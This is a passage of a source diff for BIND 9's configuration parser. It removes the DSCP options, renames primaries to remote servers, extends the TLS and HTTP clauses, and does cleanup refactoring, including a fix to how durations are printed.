@@ -3096,8 +3199,7 @@ parse_querysource(cfg_parser_t *pctx, const cfg_type_t *type, cfg_obj_t **ret) {
 	} else if ((*flagp & CFG_ADDR_V6OK) != 0) {
 		isc_netaddr_any6(&netaddr);
 	} else {
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 
 	for (;;) {
@@ -3112,43 +3214,47 @@ parse_querysource(cfg_parser_t *pctx, const cfg_type_t *type, cfg_obj_t **ret) {
 			} else if (strcasecmp(TOKEN_STRING(pctx), "port") == 0)
 			{
 				/* read "port" */
+				if ((pctx->flags & CFG_PCTX_NODEPRECATED) == 0)
+				{
+					cfg_parser_warning(
+						pctx, 0,
+						"token 'port' is deprecated");
+				}
 				CHECK(cfg_gettoken(pctx, 0));
 				CHECK(cfg_parse_rawport(pctx, CFG_ADDR_WILDOK,
 							&port));
 				have_port++;
-			} else if (strcasecmp(TOKEN_STRING(pctx), "dscp") == 0)
+			} else if (strcasecmp(TOKEN_STRING(pctx), "tls") == 0) {
+				/* We do not expect TLS here, not parsing. */
+				++have_tls;
+			} else if (have_port == 0 && have_tls == 0 &&
+				   have_address == 0)
 			{
-				/* read "dscp" */
-				CHECK(cfg_gettoken(pctx, 0));
-				CHECK(cfg_parse_dscp(pctx, &dscp));
-				have_dscp++;
-			} else if (have_port == 0 && have_dscp == 0 &&
-				   have_address == 0) {
 				return (cfg_parse_sockaddr(pctx, type, ret));
 			} else {
 				cfg_parser_error(pctx, CFG_LOG_NEAR,
-						 "expected 'address', 'port', "
-						 "or 'dscp'");
+						 "expected 'address' "
+						 "or 'port'");
 				return (ISC_R_UNEXPECTEDTOKEN);
 			}
 		} else {
 			break;
 		}
 	}
+
 	if (have_address > 1 || have_port > 1 || have_address + have_port == 0)
 	{
 		cfg_parser_error(pctx, 0, "expected one address and/or port");
 		return (ISC_R_UNEXPECTEDTOKEN);
 	}
 
-	if (have_dscp > 1) {
-		cfg_parser_error(pctx, 0, "expected at most one dscp");
+	if (have_tls > 0) {
+		cfg_parser_error(pctx, 0, "unexpected tls");
 		return (ISC_R_UNEXPECTEDTOKEN);
 	}
 
 	CHECK(cfg_create_obj(pctx, &cfg_type_querysource, &obj));
 	isc_sockaddr_fromnetaddr(&obj->value.sockaddr, &netaddr, port);
-	obj->value.sockaddrdscp.dscp = dscp;
 	*ret = obj;
 	return (ISC_R_SUCCESS);
 
@@ -3166,43 +3272,25 @@ print_querysource(cfg_printer_t *pctx, const cfg_obj_t *obj) {
 	cfg_print_rawaddr(pctx, &na);
 	cfg_print_cstr(pctx, " port ");
 	cfg_print_rawuint(pctx, isc_sockaddr_getport(&obj->value.sockaddr));
-	if (obj->value.sockaddrdscp.dscp != -1) {
-		cfg_print_cstr(pctx, " dscp ");
-		cfg_print_rawuint(pctx, obj->value.sockaddrdscp.dscp);
-	}
 }
 
 static void
 doc_querysource(cfg_printer_t *pctx, const cfg_type_t *type) {
 	const unsigned int *flagp = type->of;
 
-	cfg_print_cstr(pctx, "( ( [ address ] ( ");
-	if ((*flagp & CFG_ADDR_V4OK) != 0) {
-		cfg_print_cstr(pctx, "<ipv4_address>");
-	} else if ((*flagp & CFG_ADDR_V6OK) != 0) {
-		cfg_print_cstr(pctx, "<ipv6_address>");
-	} else {
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-	cfg_print_cstr(pctx, " | * ) [ port ( <integer> | * ) ] ) | "
-			     "( [ [ address ] ( ");
+	cfg_print_cstr(pctx, "[ address ] ( ");
 	if ((*flagp & CFG_ADDR_V4OK) != 0) {
 		cfg_print_cstr(pctx, "<ipv4_address>");
 	} else if ((*flagp & CFG_ADDR_V6OK) != 0) {
 		cfg_print_cstr(pctx, "<ipv6_address>");
 	} else {
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
-	cfg_print_cstr(pctx, " | * ) ] port ( <integer> | * ) ) )"
-			     " [ dscp <integer> ]");
+	cfg_print_cstr(pctx, " | * )");
 }
 
-static unsigned int sockaddr4wild_flags = CFG_ADDR_WILDOK | CFG_ADDR_V4OK |
-					  CFG_ADDR_DSCPOK;
-static unsigned int sockaddr6wild_flags = CFG_ADDR_WILDOK | CFG_ADDR_V6OK |
-					  CFG_ADDR_DSCPOK;
+static unsigned int sockaddr4wild_flags = CFG_ADDR_WILDOK | CFG_ADDR_V4OK;
+static unsigned int sockaddr6wild_flags = CFG_ADDR_WILDOK | CFG_ADDR_V6OK;
 
 static cfg_type_t cfg_type_querysource4 = {
 	"querysource4", parse_querysource,   NULL, doc_querysource,
@@ -3224,7 +3312,7 @@ static cfg_type_t cfg_type_querysource = { "querysource",     NULL,
  * which is gratuitously interpreted as the IPv4 wildcard address.
  */
 static unsigned int controls_sockaddr_flags = CFG_ADDR_V4OK | CFG_ADDR_V6OK |
-					      CFG_ADDR_WILDOK;
+					      CFG_ADDR_WILDOK | CFG_ADDR_PORTOK;
 static cfg_type_t cfg_type_controls_sockaddr = {
 	"controls_sockaddr", cfg_parse_sockaddr, cfg_print_sockaddr,
 	cfg_doc_sockaddr,    &cfg_rep_sockaddr,	 &controls_sockaddr_flags
@@ -3477,18 +3565,32 @@ static cfg_type_t cfg_type_logfile = { "log_file",     parse_logfile,
 				       print_logfile,  doc_logfile,
 				       &cfg_rep_tuple, logfile_fields };
 
-/*% An IPv4 address with optional dscp and port, "*" accepted as wildcard. */
+/*% An IPv4 address, "*" accepted as wildcard. */
 static cfg_type_t cfg_type_sockaddr4wild = {
 	"sockaddr4wild",  cfg_parse_sockaddr, cfg_print_sockaddr,
 	cfg_doc_sockaddr, &cfg_rep_sockaddr,  &sockaddr4wild_flags
 };
 
-/*% An IPv6 address with optional port, "*" accepted as wildcard. */
+/*% An IPv6 address, "*" accepted as wildcard. */
 static cfg_type_t cfg_type_sockaddr6wild = {
 	"v6addrportwild", cfg_parse_sockaddr, cfg_print_sockaddr,
 	cfg_doc_sockaddr, &cfg_rep_sockaddr,  &sockaddr6wild_flags
 };
 
+static keyword_type_t sourceaddr4_kw = { "source", &cfg_type_sockaddr4wild };
+
+static cfg_type_t cfg_type_optional_sourceaddr4 = {
+	"optional_sourceaddr4", parse_optional_keyvalue, print_keyvalue,
+	doc_optional_keyvalue,	&cfg_rep_sockaddr,	 &sourceaddr4_kw
+};
+
+static keyword_type_t sourceaddr6_kw = { "source-v6", &cfg_type_sockaddr6wild };
+
+static cfg_type_t cfg_type_optional_sourceaddr6 = {
+	"optional_sourceaddr6", parse_optional_keyvalue, print_keyvalue,
+	doc_optional_keyvalue,	&cfg_rep_sockaddr,	 &sourceaddr6_kw
+};
+
 /*%
  * rndc
  */
@@ -3538,34 +3640,30 @@ static cfg_clausedef_t rndcconf_clauses[] = {
 
 static cfg_clausedef_t *rndcconf_clausesets[] = { rndcconf_clauses, NULL };
 
-LIBISCCFG_EXTERNAL_DATA cfg_type_t cfg_type_rndcconf = {
-	"rndcconf",	 cfg_parse_mapbody, cfg_print_mapbody,
-	cfg_doc_mapbody, &cfg_rep_map,	    rndcconf_clausesets
-};
+cfg_type_t cfg_type_rndcconf = { "rndcconf",	    cfg_parse_mapbody,
+				 cfg_print_mapbody, cfg_doc_mapbody,
+				 &cfg_rep_map,	    rndcconf_clausesets };
 
 static cfg_clausedef_t rndckey_clauses[] = { { "key", &cfg_type_key, 0 },
 					     { NULL, NULL, 0 } };
 
 static cfg_clausedef_t *rndckey_clausesets[] = { rndckey_clauses, NULL };
 
-LIBISCCFG_EXTERNAL_DATA cfg_type_t cfg_type_rndckey = {
-	"rndckey",	 cfg_parse_mapbody, cfg_print_mapbody,
-	cfg_doc_mapbody, &cfg_rep_map,	    rndckey_clausesets
-};
+cfg_type_t cfg_type_rndckey = { "rndckey",	   cfg_parse_mapbody,
+				cfg_print_mapbody, cfg_doc_mapbody,
+				&cfg_rep_map,	   rndckey_clausesets };
 
 /*
  * session.key has exactly the same syntax as rndc.key, but it's defined
  * separately for clarity (and so we can extend it someday, if needed).
  */
-LIBISCCFG_EXTERNAL_DATA cfg_type_t cfg_type_sessionkey = {
-	"sessionkey",	 cfg_parse_mapbody, cfg_print_mapbody,
-	cfg_doc_mapbody, &cfg_rep_map,	    rndckey_clausesets
-};
+cfg_type_t cfg_type_sessionkey = { "sessionkey",      cfg_parse_mapbody,
+				   cfg_print_mapbody, cfg_doc_mapbody,
+				   &cfg_rep_map,      rndckey_clausesets };
 
 static cfg_tuplefielddef_t nameport_fields[] = {
 	{ "name", &cfg_type_astring, 0 },
 	{ "port", &cfg_type_optional_port, 0 },
-	{ "dscp", &cfg_type_optional_dscp, 0 },
 	{ NULL, NULL, 0 }
 };
 
@@ -3580,20 +3678,14 @@ doc_sockaddrnameport(cfg_printer_t *pctx, const cfg_type_t *type) {
 	cfg_print_cstr(pctx, "<quoted_string>");
 	cfg_print_cstr(pctx, " ");
 	cfg_print_cstr(pctx, "[ port <integer> ]");
-	cfg_print_cstr(pctx, " ");
-	cfg_print_cstr(pctx, "[ dscp <integer> ]");
 	cfg_print_cstr(pctx, " | ");
 	cfg_print_cstr(pctx, "<ipv4_address>");
 	cfg_print_cstr(pctx, " ");
 	cfg_print_cstr(pctx, "[ port <integer> ]");
-	cfg_print_cstr(pctx, " ");
-	cfg_print_cstr(pctx, "[ dscp <integer> ]");
 	cfg_print_cstr(pctx, " | ");
 	cfg_print_cstr(pctx, "<ipv6_address>");
 	cfg_print_cstr(pctx, " ");
 	cfg_print_cstr(pctx, "[ port <integer> ]");
-	cfg_print_cstr(pctx, " ");
-	cfg_print_cstr(pctx, "[ dscp <integer> ]");
 	cfg_print_cstr(pctx, " )");
 }
 
@@ -3668,14 +3760,14 @@ static cfg_type_t cfg_type_nameportiplist = {
 };
 
 /*%
- * primaries element.
+ * remote servers element.
  */
 
 static void
-doc_primarieselement(cfg_printer_t *pctx, const cfg_type_t *type) {
+doc_remoteselement(cfg_printer_t *pctx, const cfg_type_t *type) {
 	UNUSED(type);
 	cfg_print_cstr(pctx, "( ");
-	cfg_print_cstr(pctx, "<primaries>");
+	cfg_print_cstr(pctx, "<remote-servers>");
 	cfg_print_cstr(pctx, " | ");
 	cfg_print_cstr(pctx, "<ipv4_address>");
 	cfg_print_cstr(pctx, " ");
@@ -3688,8 +3780,8 @@ doc_primarieselement(cfg_printer_t *pctx, const cfg_type_t *type) {
 }
 
 static isc_result_t
-parse_primarieselement(cfg_parser_t *pctx, const cfg_type_t *type,
-		       cfg_obj_t **ret) {
+parse_remoteselement(cfg_parser_t *pctx, const cfg_type_t *type,
+		     cfg_obj_t **ret) {
 	isc_result_t result;
 	cfg_obj_t *obj = NULL;
 	UNUSED(type);
@@ -3707,7 +3799,8 @@ parse_primarieselement(cfg_parser_t *pctx, const cfg_type_t *type,
 		}
 	} else {
 		cfg_parser_error(pctx, CFG_LOG_NEAR,
-				 "expected IP address or primaries list name");
+				 "expected IP address or remote servers list "
+				 "name");
 		return (ISC_R_UNEXPECTEDTOKEN);
 	}
 cleanup:
@@ -3715,12 +3808,12 @@ parse_primarieselement(cfg_parser_t *pctx, const cfg_type_t *type,
 	return (result);
 }
 
-static cfg_type_t cfg_type_primarieselement = { "primaries_element",
-						parse_primarieselement,
-						NULL,
-						doc_primarieselement,
-						NULL,
-						NULL };
+static cfg_type_t cfg_type_remoteselement = { "remotes_element",
+					      parse_remoteselement,
+					      NULL,
+					      doc_remoteselement,
+					      NULL,
+					      NULL };
 
 static int
 cmp_clause(const void *ap, const void *bp) {
@@ -3736,14 +3829,16 @@ cfg_clause_validforzone(const char *name, unsigned int ztype) {
 
 	for (clause = zone_clauses; clause->name != NULL; clause++) {
 		if ((clause->flags & ztype) == 0 ||
-		    strcmp(clause->name, name) != 0) {
+		    strcmp(clause->name, name) != 0)
+		{
 			continue;
 		}
 		valid = true;
 	}
 	for (clause = zone_only_clauses; clause->name != NULL; clause++) {
 		if ((clause->flags & ztype) == 0 ||
-		    strcmp(clause->name, name) != 0) {
+		    strcmp(clause->name, name) != 0)
+		{
 			continue;
 		}
 		valid = true;
@@ -3779,13 +3874,13 @@ cfg_print_zonegrammar(const unsigned int zonetype, unsigned int flags,
 	pctx.indent++;
 
 	switch (zonetype) {
-	case CFG_ZONE_MASTER:
+	case CFG_ZONE_PRIMARY:
 		cfg_print_indent(&pctx);
-		cfg_print_cstr(&pctx, "type ( master | primary );\n");
+		cfg_print_cstr(&pctx, "type primary;\n");
 		break;
-	case CFG_ZONE_SLAVE:
+	case CFG_ZONE_SECONDARY:
 		cfg_print_indent(&pctx);
-		cfg_print_cstr(&pctx, "type ( slave | secondary );\n");
+		cfg_print_cstr(&pctx, "type secondary;\n");
 		break;
 	case CFG_ZONE_MIRROR:
 		cfg_print_indent(&pctx);
@@ -3811,16 +3906,11 @@ cfg_print_zonegrammar(const unsigned int zonetype, unsigned int flags,
 		cfg_print_indent(&pctx);
 		cfg_print_cstr(&pctx, "type redirect;\n");
 		break;
-	case CFG_ZONE_DELEGATION:
-		cfg_print_indent(&pctx);
-		cfg_print_cstr(&pctx, "type delegation-only;\n");
-		break;
 	case CFG_ZONE_INVIEW:
 		/* no zone type is specified for these */
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 
 	for (clause = clauses; clause->name != NULL; clause++) {
@@ -3830,12 +3920,15 @@ cfg_print_zonegrammar(const unsigned int zonetype, unsigned int flags,
 		{
 			continue;
 		}
-		if ((clause->flags & CFG_CLAUSEFLAG_ANCIENT) != 0) {
+		if ((clause->flags & CFG_CLAUSEFLAG_ANCIENT) != 0 ||
+		    (clause->flags & CFG_CLAUSEFLAG_NODOC) != 0)
+		{
 			continue;
 		}
 
 		if ((clause->flags & zonetype) == 0 ||
-		    strcasecmp(clause->name, "type") == 0) {
+		    strcasecmp(clause->name, "type") == 0)
+		{
 			continue;
 		}
 		cfg_print_indent(&pctx);
@@ -3854,19 +3947,23 @@ cfg_print_zonegrammar(const unsigned int zonetype, unsigned int flags,
 /*%
  * "tls" and related statement syntax.
  */
-static cfg_type_t cfg_type_sslprotos = {
-	"sslprotos",	  cfg_parse_spacelist, cfg_print_spacelist,
-	cfg_doc_terminal, &cfg_rep_list,       &cfg_type_astring
-};
+static cfg_type_t cfg_type_tlsprotos = { "tls_protocols",
+					 cfg_parse_bracketed_list,
+					 cfg_print_bracketed_list,
+					 cfg_doc_bracketed_list,
+					 &cfg_rep_list,
+					 &cfg_type_astring };
 
 static cfg_clausedef_t tls_clauses[] = {
 	{ "key-file", &cfg_type_qstring, 0 },
 	{ "cert-file", &cfg_type_qstring, 0 },
 	{ "ca-file", &cfg_type_qstring, 0 },
-	{ "hostname", &cfg_type_qstring, 0 },
-	{ "dh-param", &cfg_type_qstring, CFG_CLAUSEFLAG_EXPERIMENTAL },
-	{ "protocols", &cfg_type_sslprotos, CFG_CLAUSEFLAG_EXPERIMENTAL },
-	{ "ciphers", &cfg_type_astring, CFG_CLAUSEFLAG_EXPERIMENTAL },
+	{ "remote-hostname", &cfg_type_qstring, 0 },
+	{ "dhparam-file", &cfg_type_qstring, 0 },
+	{ "protocols", &cfg_type_tlsprotos, 0 },
+	{ "ciphers", &cfg_type_astring, 0 },
+	{ "prefer-server-ciphers", &cfg_type_boolean, 0 },
+	{ "session-tickets", &cfg_type_boolean, 0 },
 	{ NULL, NULL, 0 }
 };
 
@@ -3883,15 +3980,20 @@ static cfg_type_t cfg_type_optional_tls = {
 
 /* http and https */
 
-static cfg_type_t cfg_type_bracketed_qstring_list = { "bracketed_qstring_list",
-						      cfg_parse_bracketed_list,
-						      cfg_print_bracketed_list,
-						      cfg_doc_bracketed_list,
-						      &cfg_rep_list,
-						      &cfg_type_qstring };
+static cfg_type_t cfg_type_bracketed_http_endpoint_list = {
+	"bracketed_http_endpoint_list",
+	cfg_parse_bracketed_list,
+	cfg_print_bracketed_list,
+	cfg_doc_bracketed_list,
+	&cfg_rep_list,
+	&cfg_type_qstring
+};
 
 static cfg_clausedef_t cfg_http_description_clauses[] = {
-	{ "endpoints", &cfg_type_bracketed_qstring_list, 0 }, { NULL, NULL, 0 }
+	{ "endpoints", &cfg_type_bracketed_http_endpoint_list, 0 },
+	{ "listener-clients", &cfg_type_uint32, 0 },
+	{ "streams-per-connection", &cfg_type_uint32, 0 },
+	{ NULL, NULL, 0 }
 };
 
 static cfg_clausedef_t *http_description_clausesets[] = {
diff --git a/lib/isccfg/parser.c b/lib/isccfg/parser.c
index 435531f17f..0dac6e381c 100644
--- a/lib/isccfg/parser.c
+++ b/lib/isccfg/parser.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0 AND BSD-2-Clause
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,10 +11,37 @@
  * information regarding copyright ownership.
  */
 
+/*
+ * Copyright (c) 2009-2018 NLNet Labs.
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
+ * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
+ * GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+ * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER
+ * IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN
+ * IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
 /*! \file */
 
 #include <ctype.h>
 #include <errno.h>
+#include <glob.h>
 #include <inttypes.h>
 #include <stdbool.h>
 #include <stdlib.h>
@@ -22,14 +51,13 @@
 #include <isc/dir.h>
 #include <isc/errno.h>
 #include <isc/formatcheck.h>
-#include <isc/glob.h>
 #include <isc/lex.h>
 #include <isc/log.h>
 #include <isc/mem.h>
 #include <isc/net.h>
 #include <isc/netaddr.h>
+#include <isc/netmgr.h>
 #include <isc/netscope.h>
-#include <isc/print.h>
 #include <isc/sockaddr.h>
 #include <isc/string.h>
 #include <isc/symtab.h>
@@ -90,6 +118,12 @@ create_string(cfg_parser_t *pctx, const char *contents, const cfg_type_t *type,
 static void
 free_string(cfg_parser_t *pctx, cfg_obj_t *obj);
 
+static void
+copy_string(cfg_parser_t *pctx, const cfg_obj_t *obj, isc_textregion_t *dst);
+
+static void
+free_sockaddrtls(cfg_parser_t *pctx, cfg_obj_t *obj);
+
 static isc_result_t
 create_map(cfg_parser_t *pctx, const cfg_type_t *type, cfg_obj_t **objp);
 
@@ -127,22 +161,20 @@ doc_geoip(cfg_printer_t *pctx, const cfg_type_t *type);
  * not need a union member).
  */
 
-LIBISCCFG_EXTERNAL_DATA cfg_rep_t cfg_rep_uint32 = { "uint32", free_noop };
-LIBISCCFG_EXTERNAL_DATA cfg_rep_t cfg_rep_uint64 = { "uint64", free_noop };
-LIBISCCFG_EXTERNAL_DATA cfg_rep_t cfg_rep_string = { "string", free_string };
-LIBISCCFG_EXTERNAL_DATA cfg_rep_t cfg_rep_boolean = { "boolean", free_noop };
-LIBISCCFG_EXTERNAL_DATA cfg_rep_t cfg_rep_map = { "map", free_map };
-LIBISCCFG_EXTERNAL_DATA cfg_rep_t cfg_rep_list = { "list", free_list };
-LIBISCCFG_EXTERNAL_DATA cfg_rep_t cfg_rep_tuple = { "tuple", free_tuple };
-LIBISCCFG_EXTERNAL_DATA cfg_rep_t cfg_rep_sockaddr = { "sockaddr", free_noop };
-LIBISCCFG_EXTERNAL_DATA cfg_rep_t cfg_rep_netprefix = { "netprefix",
-							free_noop };
-LIBISCCFG_EXTERNAL_DATA cfg_rep_t cfg_rep_void = { "void", free_noop };
-LIBISCCFG_EXTERNAL_DATA cfg_rep_t cfg_rep_fixedpoint = { "fixedpoint",
-							 free_noop };
-LIBISCCFG_EXTERNAL_DATA cfg_rep_t cfg_rep_percentage = { "percentage",
-							 free_noop };
-LIBISCCFG_EXTERNAL_DATA cfg_rep_t cfg_rep_duration = { "duration", free_noop };
+cfg_rep_t cfg_rep_uint32 = { "uint32", free_noop };
+cfg_rep_t cfg_rep_uint64 = { "uint64", free_noop };
+cfg_rep_t cfg_rep_string = { "string", free_string };
+cfg_rep_t cfg_rep_boolean = { "boolean", free_noop };
+cfg_rep_t cfg_rep_map = { "map", free_map };
+cfg_rep_t cfg_rep_list = { "list", free_list };
+cfg_rep_t cfg_rep_tuple = { "tuple", free_tuple };
+cfg_rep_t cfg_rep_sockaddr = { "sockaddr", free_noop };
+cfg_rep_t cfg_rep_sockaddrtls = { "sockaddrtls", free_sockaddrtls };
+cfg_rep_t cfg_rep_netprefix = { "netprefix", free_noop };
+cfg_rep_t cfg_rep_void = { "void", free_noop };
+cfg_rep_t cfg_rep_fixedpoint = { "fixedpoint", free_noop };
+cfg_rep_t cfg_rep_percentage = { "percentage", free_noop };
+cfg_rep_t cfg_rep_duration = { "duration", free_noop };
 
 /*
  * Configuration type definitions.
@@ -269,8 +301,8 @@ cfg_create_tuple(cfg_parser_t *pctx, const cfg_type_t *type, cfg_obj_t **ret) {
 	}
 
 	CHECK(cfg_create_obj(pctx, type, &obj));
-	obj->value.tuple = isc_mem_get(pctx->mctx,
-				       nfields * sizeof(cfg_obj_t *));
+	obj->value.tuple = isc_mem_cget(pctx->mctx, nfields,
+					sizeof(cfg_obj_t *));
 	for (f = fields, i = 0; f->name != NULL; f++, i++) {
 		obj->value.tuple[i] = NULL;
 	}
@@ -369,8 +401,8 @@ free_tuple(cfg_parser_t *pctx, cfg_obj_t *obj) {
 		CLEANUP_OBJ(obj->value.tuple[i]);
 		nfields++;
 	}
-	isc_mem_put(pctx->mctx, obj->value.tuple,
-		    nfields * sizeof(cfg_obj_t *));
+	isc_mem_cput(pctx->mctx, obj->value.tuple, nfields,
+		     sizeof(cfg_obj_t *));
 }
 
 bool
@@ -394,8 +426,7 @@ cfg_tuple_get(const cfg_obj_t *tupleobj, const char *name) {
 			return (tupleobj->value.tuple[i]);
 		}
 	}
-	INSIST(0);
-	ISC_UNREACHABLE();
+	UNREACHABLE();
 }
 
 isc_result_t
@@ -505,7 +536,7 @@ cfg_parser_create(isc_mem_t *mctx, isc_log_t *lctx, cfg_parser_t **ret) {
 	specials['"'] = 1;
 	specials['!'] = 1;
 
-	CHECK(isc_lex_create(pctx->mctx, 1024, &pctx->lexer));
+	isc_lex_create(pctx->mctx, 1024, &pctx->lexer);
 
 	isc_lex_setspecials(pctx->lexer, specials);
 	isc_lex_setcomments(pctx->lexer,
@@ -743,10 +774,8 @@ cfg_obj_isvoid(const cfg_obj_t *obj) {
 	return (obj->type->rep == &cfg_rep_void);
 }
 
-LIBISCCFG_EXTERNAL_DATA cfg_type_t cfg_type_void = {
-	"void",	      cfg_parse_void, cfg_print_void,
-	cfg_doc_void, &cfg_rep_void,  NULL
-};
+cfg_type_t cfg_type_void = { "void",	   cfg_parse_void, cfg_print_void,
+			     cfg_doc_void, &cfg_rep_void,  NULL };
 
 /*
  * percentage
@@ -803,10 +832,9 @@ cfg_obj_aspercentage(const cfg_obj_t *obj) {
 	return (obj->value.uint32);
 }
 
-LIBISCCFG_EXTERNAL_DATA cfg_type_t cfg_type_percentage = {
-	"percentage",	  cfg_parse_percentage, cfg_print_percentage,
-	cfg_doc_terminal, &cfg_rep_percentage,	NULL
-};
+cfg_type_t cfg_type_percentage = { "percentage",	 cfg_parse_percentage,
+				   cfg_print_percentage, cfg_doc_terminal,
+				   &cfg_rep_percentage,	 NULL };
 
 bool
 cfg_obj_ispercentage(const cfg_obj_t *obj) {
@@ -887,10 +915,9 @@ cfg_obj_asfixedpoint(const cfg_obj_t *obj) {
 	return (obj->value.uint32);
 }
 
-LIBISCCFG_EXTERNAL_DATA cfg_type_t cfg_type_fixedpoint = {
-	"fixedpoint",	  cfg_parse_fixedpoint, cfg_print_fixedpoint,
-	cfg_doc_terminal, &cfg_rep_fixedpoint,	NULL
-};
+cfg_type_t cfg_type_fixedpoint = { "fixedpoint",	 cfg_parse_fixedpoint,
+				   cfg_print_fixedpoint, cfg_doc_terminal,
+				   &cfg_rep_fixedpoint,	 NULL };
 
 bool
 cfg_obj_isfixedpoint(const cfg_obj_t *obj) {
@@ -955,10 +982,9 @@ cfg_obj_asuint32(const cfg_obj_t *obj) {
 	return (obj->value.uint32);
 }
 
-LIBISCCFG_EXTERNAL_DATA cfg_type_t cfg_type_uint32 = {
-	"integer",	  cfg_parse_uint32, cfg_print_uint32,
-	cfg_doc_terminal, &cfg_rep_uint32,  NULL
-};
+cfg_type_t cfg_type_uint32 = { "integer",	 cfg_parse_uint32,
+			       cfg_print_uint32, cfg_doc_terminal,
+			       &cfg_rep_uint32,	 NULL };
 
 /*
  * uint64
@@ -983,10 +1009,9 @@ cfg_print_uint64(cfg_printer_t *pctx, const cfg_obj_t *obj) {
 	cfg_print_cstr(pctx, buf);
 }
 
-LIBISCCFG_EXTERNAL_DATA cfg_type_t cfg_type_uint64 = {
-	"64_bit_integer", NULL, cfg_print_uint64, cfg_doc_terminal,
-	&cfg_rep_uint64,  NULL
-};
+cfg_type_t cfg_type_uint64 = { "64_bit_integer", NULL,
+			       cfg_print_uint64, cfg_doc_terminal,
+			       &cfg_rep_uint64,	 NULL };
 
 /*
  * Get the number of digits in a number.
@@ -1015,8 +1040,8 @@ cfg_print_duration(cfg_printer_t *pctx, const cfg_obj_t *obj) {
 	char *str;
 	const char *indicators = "YMWDHMS";
 	int count, i;
-	int durationlen[7];
-	cfg_duration_t duration;
+	int durationlen[7] = { 0 };
+	isccfg_duration_t duration;
 	/*
 	 * D ? The duration has a date part.
 	 * T ? The duration has a time part.
@@ -1047,10 +1072,8 @@ cfg_print_duration(cfg_printer_t *pctx, const cfg_obj_t *obj) {
 			} else {
 				T = true;
 			}
-		} else {
-			durationlen[i] = 0;
+			count += durationlen[i];
 		}
-		count += durationlen[i];
 	}
 	/*
 	 * Special case for seconds which is not taken into account in the
@@ -1059,7 +1082,8 @@ cfg_print_duration(cfg_printer_t *pctx, const cfg_obj_t *obj) {
 	 * case this function will print "PT0S".
 	 */
 	if (duration.parts[6] > 0 ||
-	    (!D && !duration.parts[4] && !duration.parts[5])) {
+	    (!D && !duration.parts[4] && !duration.parts[5]))
+	{
 		durationlen[6] = 1 + numlen(duration.parts[6]);
 		T = true;
 		count += durationlen[6];
@@ -1079,7 +1103,7 @@ cfg_print_duration(cfg_printer_t *pctx, const cfg_obj_t *obj) {
 		if (duration.parts[i] > 0) {
 			snprintf(str, durationlen[i] + 2, "%u%c",
 				 (uint32_t)duration.parts[i], indicators[i]);
-			str += durationlen[i] + 1;
+			str += durationlen[i];
 		}
 		if (i == 3 && T) {
 			snprintf(str, 2, "T");
@@ -1088,7 +1112,8 @@ cfg_print_duration(cfg_printer_t *pctx, const cfg_obj_t *obj) {
 	}
 	/* Special case for seconds. */
 	if (duration.parts[6] > 0 ||
-	    (!D && !duration.parts[4] && !duration.parts[3])) {
+	    (!D && !duration.parts[4] && !duration.parts[5]))
+	{
 		snprintf(str, durationlen[6] + 2, "%u%c",
 			 (uint32_t)duration.parts[6], indicators[6]);
 	}
@@ -1097,7 +1122,7 @@ cfg_print_duration(cfg_printer_t *pctx, const cfg_obj_t *obj) {
 
 void
 cfg_print_duration_or_unlimited(cfg_printer_t *pctx, const cfg_obj_t *obj) {
-	cfg_duration_t duration;
+	isccfg_duration_t duration;
 
 	REQUIRE(pctx != NULL);
 	REQUIRE(obj != NULL);
@@ -1120,191 +1145,17 @@ cfg_obj_isduration(const cfg_obj_t *obj) {
 uint32_t
 cfg_obj_asduration(const cfg_obj_t *obj) {
 	REQUIRE(obj != NULL && obj->type->rep == &cfg_rep_duration);
-	uint32_t duration = 0;
-	duration += obj->value.duration.parts[6];	      /* Seconds */
-	duration += obj->value.duration.parts[5] * 60;	      /* Minutes */
-	duration += obj->value.duration.parts[4] * 3600;      /* Hours */
-	duration += obj->value.duration.parts[3] * 86400;     /* Days */
-	duration += obj->value.duration.parts[2] * 86400 * 7; /* Weaks */
-	/*
-	 * The below additions are not entirely correct
-	 * because days may very per month and per year.
-	 */
-	duration += obj->value.duration.parts[1] * 86400 * 31;	/* Months */
-	duration += obj->value.duration.parts[0] * 86400 * 365; /* Years */
-	return (duration);
-}
-
-/*
- * duration_fromtext initially taken from OpenDNSSEC code base.
- * Modified to fit the BIND 9 code.
- *
- * Copyright (c) 2009-2018 NLNet Labs.
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
